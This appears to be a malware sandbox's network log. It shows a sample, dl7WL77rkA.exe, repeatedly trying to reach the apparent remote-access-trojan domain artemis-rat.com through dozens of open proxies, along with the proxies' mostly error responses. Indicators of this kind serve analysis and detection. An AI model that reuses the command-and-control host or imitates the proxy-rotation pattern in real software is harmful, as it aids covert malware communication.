Mar 11, 2024 03:30:47.908937931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.878261089 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:53.500655890 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:02.748056889 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:21.239886045 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:31:58.224327087 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:48 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2049	192.168.2.5	52221	45.5.118.43	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.919754982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.993031979 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Sat, 24 Feb 2024 06:13:26 GMT Expires: Sat, 24 Feb 2024 06:13:26 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 03:30:59.709484100 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Sat, 24 Feb 2024 06:13:26 GMT Expires: Sat, 24 Feb 2024 06:13:26 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2050	192.168.2.5	55455	60.188.102.225	18080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:47.921274900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2051	192.168.2.5	55462	44.190.9.65	48100	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.010962963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2052	192.168.2.5	54740	217.60.194.198	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.022095919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2053	192.168.2.5	55453	196.251.131.38	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.023035049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2054	192.168.2.5	54133	162.241.46.6	50062	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.024703979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108040094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.202153921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.217822075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2055	192.168.2.5	54110	5.252.23.220	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.026571035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.701894999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405294895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.701956987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.275964022 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2056	192.168.2.5	54156	51.222.241.157	44029	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.026922941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2057	192.168.2.5	52238	103.209.68.197	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.031006098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.575700998 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2058	192.168.2.5	55458	218.65.6.150	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.039459944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.381282091 CET	704	IN	HTTP/1.1 502 Bad Gateway Server: huawei Date: Mon, 11 Mar 2024 02:18:07 GMT Content-Type: text/html Content-Length: 553 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 68 75 61 77 65 69 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>huawei</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2059	192.168.2.5	52261	119.93.148.191	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.041191101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.388981104 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2060	192.168.2.5	54137	176.98.81.85	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.041764021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.201776028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.202440023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2061	192.168.2.5	55459	185.101.16.52	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.045095921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2062	192.168.2.5	55188	45.11.95.165	5219	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.047775030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2063	192.168.2.5	54104	112.78.164.248	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.050086975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.201817989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.202440023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.202497005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2064	192.168.2.5	55159	98.170.57.231	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.054506063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2065	192.168.2.5	55464	212.108.155.205	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.269341946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2066	192.168.2.5	54126	190.128.241.102	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.269345999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.342081070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.514656067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.514692068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2067	192.168.2.5	55461	103.166.39.17	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.269958973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2068	192.168.2.5	55469	46.35.9.110	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.270174026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2069	192.168.2.5	52370	103.152.132.29	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.271769047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.342081070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.514656067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.514803886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2070	192.168.2.5	52337	37.187.77.58	59870	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.273166895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.014292002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.014746904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014609098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2071	192.168.2.5	55474	8.217.143.187	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.280672073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2072	192.168.2.5	54330	75.89.101.62	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.281331062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2073	192.168.2.5	55221	193.239.58.92	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:48.281975031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2074	192.168.2.5	55467	36.93.157.49	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

